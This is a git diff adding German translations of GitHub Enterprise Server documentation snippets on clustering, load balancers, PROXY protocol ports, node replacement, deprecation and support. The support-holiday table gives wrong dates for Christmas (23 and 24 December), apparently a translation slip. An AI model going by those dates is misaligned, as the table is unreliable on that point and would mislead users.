+ms.locfileid: "147879517"
+---
+1. Wende die neue Konfiguration an. {% data reusables.enterprise.use-a-multiplexer %}
+
+        ghe-cluster-config-apply
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/clustering-requires-https.md b/translations/de-DE/data/reusables/enterprise_clustering/clustering-requires-https.md
new file mode 100644
index 0000000000..5b282b1814
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/clustering-requires-https.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 233780c2f0b06297e2a0d6b2bb489f49c9068bca
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108535"
+---
+{% note %}
+
+**Hinweis:** {% data variables.product.prodname_ghe_server %}-Clustering muss mit HTTPS konfiguriert werden.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/clustering-scalability.md b/translations/de-DE/data/reusables/enterprise_clustering/clustering-scalability.md
new file mode 100644
index 0000000000..b10da146f9
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/clustering-scalability.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9ce04330babb9166090bd9013a6b4e6c8f41d379
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877029"
+---
+Clustering bietet eine bessere Skalierbarkeit, indem die Last auf mehrere Knoten verteilt wird. Diese horizontale Skalierung empfiehlt sich allenfalls für Organisationen mit Zehntausenden Entwicklern.
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/configuration-file-heading.md b/translations/de-DE/data/reusables/enterprise_clustering/configuration-file-heading.md
new file mode 100644
index 0000000000..268e89d07e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/configuration-file-heading.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c3918f659ace7f83d4e47d080a9a795a5545bdcc
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108532"
+---
+Die Clusterkonfigurationsdatei listet jeden Knoten unter einer <code>[cluster "<em>HOSTNAME</em>"]</code>-Überschrift auf.
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/configuration-finished.md b/translations/de-DE/data/reusables/enterprise_clustering/configuration-finished.md
new file mode 100644
index 0000000000..c12dcbf12c
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/configuration-finished.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 2e29b9f3f891e386fedde0d6c8fcd880fedbaa40
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102519"
+---
+1. Nachdem die Konfigurationsausführung abgeschlossen ist, zeigt {% data variables.product.prodname_ghe_server %} die folgende Meldung an.
+
+    ```shell
+        Finished cluster configuration
+    ```
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/health_checks.md b/translations/de-DE/data/reusables/enterprise_clustering/health_checks.md
new file mode 100644
index 0000000000..97aa9af792
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/health_checks.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: da828b3b969dfc24b1f71400f336cccfa1f4d004
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108524"
+---
+Konfiguriere den Load-Balancer, um eine der folgenden URLs zu überprüfen:
+ - `https://HOSTNAME/status` wenn HTTPS aktiviert ist (Standard)
+ - `http://HOSTNAME/status` wenn HTTPS deaktiviert ist
+
+Bei der Überprüfung wird der Statuscode `200` (OK) zurückgegeben, wenn der Knoten fehlerfrei ist und zum Beantworten von Endbenutzeranforderungen verfügbar ist.
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/key-value-pair-order-irrelevant.md b/translations/de-DE/data/reusables/enterprise_clustering/key-value-pair-order-irrelevant.md
new file mode 100644
index 0000000000..c1cdb74935
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/key-value-pair-order-irrelevant.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 56f4e24b4be245608a85d3cf8ccf1ab311063ebd
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880500"
+---
+Die Reihenfolge der Schlüsselwertpaare ist nicht wichtig.
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/load_balancer_dns.md b/translations/de-DE/data/reusables/enterprise_clustering/load_balancer_dns.md
new file mode 100644
index 0000000000..77429cbd21
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/load_balancer_dns.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 37edbef15e16094672ca7be6dbfbc28390b37bca
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146332320"
+---
+DNS-Nachschlagevorgänge für den {% data variables.product.prodname_ghe_server %}-Hostnamen sollten im Load-Balancer aufgelöst werden. Es wird empfohlen, dass Du die Subdomain-Isolation aktivierst. Bei aktivierter Subdomain-Isolation sollte ein zusätzlicher Platzhaltereintrag (`*.HOSTNAME`) ebenfalls im Lastenausgleich aufgelöst werden. Weitere Informationen findest du unter [Aktivieren der Subdomain-Isolation](/enterprise/admin/guides/installation/enabling-subdomain-isolation/).
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/load_balancer_intro.md b/translations/de-DE/data/reusables/enterprise_clustering/load_balancer_intro.md
new file mode 100644
index 0000000000..9d8ac3f68e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/load_balancer_intro.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b9aa2cbac3e32319aac7d2b7ef53422f53125643
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876938"
+---
+Ein Load-Balancer-Design verwendet ein Netzwerkgerät, um den Git- und HTTP-Traffic an einzelne {% data variables.product.prodname_ghe_server %}-Appliances zu leiten. Du kannst einen Load-Balancer verwenden, um aus Sicherheitsgründen den direkten Traffic zur Appliance einzuschränken oder um den Traffic bei Bedarf weiterzuleiten, ohne dass dazu Änderungen am DNS-Eintrag erforderlich sind. Es wird dringend empfohlen, einen TCP-basierten Load-Balancer zu verwenden, der das PROXY-Protokoll unterstützt.
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/network-latency.md b/translations/de-DE/data/reusables/enterprise_clustering/network-latency.md
new file mode 100644
index 0000000000..f09826fb3b
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/network-latency.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d868eddf89cbfddf9c2eab45bdf15f39a00387be
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148107437"
+---
+Die Latenz zwischen dem Netzwerk mit den aktiven Knoten und dem Netzwerk mit den passiven Knoten muss kleiner als 70 Millisekunden sein, um Hochverfügbarkeit zu gewährleisten. Es wird nicht empfohlen, eine Firewall zwischen den beiden Netzwerken zu konfigurieren.
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/open-configuration-file.md b/translations/de-DE/data/reusables/enterprise_clustering/open-configuration-file.md
new file mode 100644
index 0000000000..2c86f6859f
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/open-configuration-file.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 31ffd821ac289c51645cbca8c3cf3d2c22793058
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877034"
+---
+1. Öffne die Clusterkonfigurationsdatei unter _/data/user/common/cluster.conf_ in einem Text-Editor. Beispielsweise kannst du Vim verwenden.
+
+        sudo vim /data/user/common/cluster.conf
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/proxy_preference.md b/translations/de-DE/data/reusables/enterprise_clustering/proxy_preference.md
new file mode 100644
index 0000000000..23b7b84f44
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/proxy_preference.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 69c0fb0e38433bb6c7745701f77efed76421f0cc
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102511"
+---
+Wenn Dein Load-Balancer das PROXY-Protokoll unterstützen kann, wird dringend empfohlen, es zu implementieren. Wenn keine PROXY-Unterstützung verfügbar ist, kann auch mithilfe des `X-Forwarded-For`-Headers der Lastenausgleich auf den HTTP- und HTTPS-Ports vorgenommen werden.
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/proxy_protocol_ports.md b/translations/de-DE/data/reusables/enterprise_clustering/proxy_protocol_ports.md
new file mode 100644
index 0000000000..ad03541420
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/proxy_protocol_ports.md
@@ -0,0 +1,18 @@
+---
+ms.openlocfilehash: 75d099613573f78150f08a91fb71dab01e301874
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145108511"
+---
+### PROXY-Protokoll – TCP-Portzuordnungen
+
+| Quellport | Zielport | Dienstbeschreibung |
+| :---: | :---: | :---: |
+| 22 | 23 | Git über SSH |
+| 80 | 81 | HTTP |
+| 443 | 444 | HTTPS |
+| 8080 | 8081 | HTTP für Managementkonsole |
+| 8443 | 8444 | HTTPS für Managementkonsole |
+| 9418 | 9419 | Git |
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/proxy_xff_firewall_warning.md b/translations/de-DE/data/reusables/enterprise_clustering/proxy_xff_firewall_warning.md
new file mode 100644
index 0000000000..d117d12458
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/proxy_xff_firewall_warning.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: f3e2eb78d7cd5e8fe407c4ce222d2d23b2bc5eea
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876937"
+---
+{% danger %}
+
+**Sicherheitswarnung:** Wenn entweder die PROXY-Unterstützung oder die HTTP-Weiterleitung aktiviert ist, ist es von entscheidender Bedeutung, dass kein externer Datenverkehr die {% data variables.product.prodname_ghe_server %}-Appliances direkt erreichen kann. Wenn der externe Traffic nicht ordnungsgemäß blockiert wird, kann die IP-Quelladresse gefälscht werden.
+
+{% enddanger %}
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-admin-configure-ip.md b/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-admin-configure-ip.md
new file mode 100644
index 0000000000..2088c5f152
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-admin-configure-ip.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4af52af431304cd02a53e943bc4dabea69ebb2fc
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108507"
+---
+1. Konfiguriere mithilfe der Verwaltungsshell oder DHCP **nur** die IP-Adresse des Ersatzknotens. Konfiguriere keine anderen Einstellungen.
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-config-node.md b/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-config-node.md
new file mode 100644
index 0000000000..a69529deb1
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-config-node.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 87ed9e54642930c63b56d78b34448037aab99453
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102504"
+---
+1. Führe auf demselben Knoten `ghe-cluster-config-apply` aus. Dadurch wird die Konfigurationsdatei validiert und auf jeden Knoten im Cluster kopiert. Außerdem wird jeder Knoten entsprechend der geänderten Datei `cluster.conf` konfiguriert.
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-initialize-new-node.md b/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-initialize-new-node.md
new file mode 100644
index 0000000000..007e92e623
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-initialize-new-node.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ec9a5de53e0aa66bf284eecbd5e830ebf0a116a6
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108508"
+---
+1. Führe aus der administrativen Shell des Knotens mit der geänderten `cluster.conf` `ghe-cluster-config-init` aus. Dadurch wird der neu hinzugefügte Knoten im Cluster initialisiert.
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-mark-offline.md b/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-mark-offline.md
new file mode 100644
index 0000000000..cba25bd210
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-mark-offline.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: 6f16454fbe327c50b0f9666022d3f822ec285d88
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876934"
+---
+1. Um den fehlgeschlagenen Knoten offline auf einem beliebigen Knoten zu markieren, ändere die [Clusterkonfigurationsdatei](/enterprise/admin/guides/clustering/initializing-the-cluster/#about-the-cluster-configuration-file) (`cluster.conf`) im relevanten Knotenabschnitt, sodass der Text `offline = true` enthalten ist.
+
+  Diese geänderte Datei `cluster.conf` markiert beispielsweise den `ghe-data-node-3`-Knoten als offline:
+
+    <pre>
+    [cluster "ghe-data-node-3"]
+    hostname = ghe-data-node-3
+    <em>offline = true</em>
+    ipv4 = 192.168.0.6
+    # ipv6 = fd12:3456:789a:1::6
+    </pre>
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-modify-cluster-conf.md b/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-modify-cluster-conf.md
new file mode 100644
index 0000000000..a7db5c45b2
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-modify-cluster-conf.md
@@ -0,0 +1,24 @@
+---
+ms.openlocfilehash: 66c4be7b876bad3641ec56200dd5c79e1d0433c5
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108503"
+---
+1. Um den neu verteilten Ersatzknoten hinzuzufügen, entferne auf einem beliebigen Knoten in der Datei `cluster.conf` den ausgefallenen Knoten, und füge den neuen Ersatzknoten hinzu. Diese geänderte `cluster.conf`-Datei ersetzt z. B. `ghe-data-node-3` durch den neu bereitgestellten Knoten `ghe-replacement-data-node-3`.
+
+  <pre>
+  [cluster "<em>ghe-replacement-data-node-3</em>"]
+    hostname = <em>ghe-replacement-data-node-3</em>
+    ipv4 = <em>192.168.0.7</em>
+    # ipv6 = fd12:3456:789a:1::7
+    git-server = true
+    pages-server = true
+    mysql-server = true
+    elasticsearch-server = true
+    redis-server = true
+    memcache-server = true
+    metrics-server = true
+    storage-server = true
+  </pre>
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-need-three-nodes.md b/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-need-three-nodes.md
new file mode 100644
index 0000000000..f0dc2800b2
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-need-three-nodes.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ae36ee1d0e94309f4f412a8bc91bcddc8ea74117
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146332232"
+---
+1. Wenn Du einen Knoten offline nimmst, für den in der Datei „cluster.conf“ der Wert `git-server = true` festgelegt ist, evakuiere den Knoten. Weitere Informationen findest Du unter „[Evakuieren eines Clusterknotens](/enterprise/admin/clustering/evacuating-a-cluster-node)“.
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-provision.md b/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-provision.md
new file mode 100644
index 0000000000..bb2b61f2b9
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-provision.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 91345f8f3df52c6dbd18d2f71dfc659b4691ae08
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146332216"
+---
+1. [Bereitstellen und Installieren von {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance) mit einem eindeutigen Hostnamen auf dem Ersetzungsknoten.
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-replacement-name.md b/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-replacement-name.md
new file mode 100644
index 0000000000..3ad02bcbe0
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-replacement-name.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 973fe98cbaff849fa234134175d35ae042510638
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880476"
+---
+1. Wenn du den primären MySQL- oder Redis-Knoten ersetzt, ändere in `cluster.conf` den `mysql-master`- oder `redis-master`-Wert in den Namen des Ersatzknotens.
+
+  In dieser geänderten `cluster.conf`-Datei wird beispielsweise ein neu bereitgestellter Clusterknoten `ghe-replacement-data-node-1` als primärer MySQL- und Redis-Knoten angegeben:
+
+  <pre>
+  mysql-master = <em>ghe-replacement-data-node-1</em>
+  redis-master = <em>ghe-replacement-data-node-1</em>
+  </pre>
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-validate-config.md b/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-validate-config.md
new file mode 100644
index 0000000000..578e79bc72
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-validate-config.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1e72533f1f06ae6aaa25a2805f38fa27bd9f7335
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876930"
+---
+1. Führe aus der administrativen Shell des Knotens, wo du `cluster.conf` geändert hast, `ghe-cluster-config-apply` aus. Dadurch wird die Konfigurationsdatei validiert, auf jeden Knoten im Cluster kopiert und der Knoten als offline markiert.
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/ssh-to-a-node.md b/translations/de-DE/data/reusables/enterprise_clustering/ssh-to-a-node.md
new file mode 100644
index 0000000000..e545ccd4e5
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/ssh-to-a-node.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6d7b04f469c58dbc9189baabc3c4773261031c14
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102483"
+---
+1. SSH in einen beliebigen Knoten in deinem Cluster. Weitere Informationen findest du unter [Zugreifen auf die Verwaltungsshell (SSH)](/enterprise/admin/configuration/accessing-the-administrative-shell-ssh).
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/without_proxy_protocol_ports.md b/translations/de-DE/data/reusables/enterprise_clustering/without_proxy_protocol_ports.md
new file mode 100644
index 0000000000..faeb9c70e0
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/without_proxy_protocol_ports.md
@@ -0,0 +1,18 @@
+---
+ms.openlocfilehash: 2967524d6c5a9c1c49437c58e4f5daef6645ca8a
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876929"
+---
+### Protokoll – TCP-Portzuordnungen für die Verwendung ohne PROXY-Unterstützung
+
+| Quellport | Zielport | Dienstbeschreibung |
+| :---: | :---: | :---: |
+| 22 | 22 | Git über SSH |
+| 25 | 25 | SMTP |
+| 80 | 80 | HTTP |
+| 443 | 443 | HTTPS |
+| 8080 | 8080 | HTTP für Managementkonsole |
+| 8443 | 8443 | HTTPS für Managementkonsole |
diff --git a/translations/de-DE/data/reusables/enterprise_clustering/x-forwarded-for.md b/translations/de-DE/data/reusables/enterprise_clustering/x-forwarded-for.md
new file mode 100644
index 0000000000..a5be4982db
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_clustering/x-forwarded-for.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 346aee71fb06f01bf9130c8b80039206816c106a
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102479"
+---
+Verwende das X-Forwarded-For-Protokoll **nur**, wenn das PROXY-Protokoll nicht verfügbar ist. Der `X-Forwarded-For`-Header funktioniert nur mit HTTP und HTTPS. Die für Git-Verbindungen über SSH gemeldete IP-Adresse zeigt die Load-Balancer-IP.
diff --git a/translations/de-DE/data/reusables/enterprise_deprecation/deprecation_details.md b/translations/de-DE/data/reusables/enterprise_deprecation/deprecation_details.md
new file mode 100644
index 0000000000..887d03b6ca
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_deprecation/deprecation_details.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8252f61938f9ef134bf12c52ceb945758a402067
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108484"
+---
+Es wird keine Patch-Freigabe vorgenommen, auch nicht für kritische Sicherheitsprobleme. Für bessere Leistung, verbesserte Sicherheit und neue Features <a href="/enterprise/admin/guides/installation/upgrading-github-enterprise/">aktualisiere auf die neueste Version von GitHub Enterprise</a>.
+<a href="https://enterprise.github.com/support">Wende dich an den GitHub Enterprise-Support</a>, um Hilfe zum Upgrade zu erhalten.
diff --git a/translations/de-DE/data/reusables/enterprise_deprecation/version_was_deprecated.md b/translations/de-DE/data/reusables/enterprise_deprecation/version_was_deprecated.md
new file mode 100644
index 0000000000..03c3540d0e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_deprecation/version_was_deprecated.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5018901514d62b87e053602e40e527690bb9301a
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145102476"
+---
+Diese Version von GitHub Enterprise wurde eingestellt am
diff --git a/translations/de-DE/data/reusables/enterprise_deprecation/version_will_be_deprecated.md b/translations/de-DE/data/reusables/enterprise_deprecation/version_will_be_deprecated.md
new file mode 100644
index 0000000000..68a0197cfd
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_deprecation/version_will_be_deprecated.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0287b8f6f9f4760d7e8e227fb1c16a796e032a50
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108483"
+---
+Diese Version von GitHub Enterprise wird eingestellt am
diff --git a/translations/de-DE/data/reusables/enterprise_enterprise_support/installing-releases.md b/translations/de-DE/data/reusables/enterprise_enterprise_support/installing-releases.md
new file mode 100644
index 0000000000..94f8b39d49
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_enterprise_support/installing-releases.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: dac747a0947a948943af15a57a8723d3f03c2e33
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148107445"
+---
+{% ifversion ghes %}
+
+## {% data variables.product.prodname_ghe_server %}-Versionen installieren
+
+Um sicherzustellen, dass {% data variables.location.product_location %} stabil ist, musst Du {% data variables.product.prodname_ghe_server %}-Releases installieren und implementieren. Die Installation von {% data variables.product.prodname_ghe_server %}-Versionen stellt sicher, dass du über die neuesten Features, Änderungen und Verbesserungen sowie über alle Updates von Features, Codekorrekturen, Patches oder andere allgemeine Updates und Korrekturen von {% data variables.product.prodname_ghe_server %} verfügst.
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise_enterprise_support/sign-in-to-support.md b/translations/de-DE/data/reusables/enterprise_enterprise_support/sign-in-to-support.md
new file mode 100644
index 0000000000..957f04755d
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_enterprise_support/sign-in-to-support.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5a1410b9b41a6482822f75568cf37a3396795787
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108480"
+---
+1. Wenn dir ein Supporttechniker einen Uploadlink für dein Supportpaket mitgeteilt hat, verwende diesen Link. Andernfalls besuche https://support.github.com/, und melde dich (auf Aufforderung) bei einem Unternehmenskonto mit Supportanspruch an.
diff --git a/translations/de-DE/data/reusables/enterprise_enterprise_support/support-holiday-availability.md b/translations/de-DE/data/reusables/enterprise_enterprise_support/support-holiday-availability.md
new file mode 100644
index 0000000000..d0bc266756
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_enterprise_support/support-holiday-availability.md
@@ -0,0 +1,22 @@
+---
+ms.openlocfilehash: 9c9d564f98a224e7f583767edfb38ea44a3cacd2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145198341"
+---
+| US-amerikanischer Feiertag                | Beobachtetes Datum |
+| ---                         | ---                         |
+| Neujahr              | 1. Januar                   |
+| Martin Luther King Day | Dritter Montag im Januar     |
+| Presidents' Day             | Dritter Montag im Februar    |
+| Memorial Day                | Letzter Montag im Mai          |
+| Independence Day            | 4\. Juli                      |
+| Labor Day                   | Erster Montag im September   |
+| Veterans Day                | 11. November                 |
+| Thanksgiving            | Vierter Donnerstag im November |
+| Tag nach Thanksgiving      | Vierter Freitag im November   |
+| Weihnachten               | 23. Dezember                 |
+| 1\. Weihnachtsfeiertag               | 24. Dezember                 |
+| Silvester              | 31. Dezember                 |
diff --git a/translations/de-DE/data/reusables/enterprise_enterprise_support/support_will_ask_you_to_run_command.md b/translations/de-DE/data/reusables/enterprise_enterprise_support/support_will_ask_you_to_run_command.md
new file mode 100644
index 0000000000..50a9d8894e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_enterprise_support/support_will_ask_you_to_run_command.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 906854ef15af8e87a5655a3b1b73324211c12558
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108471"
+---
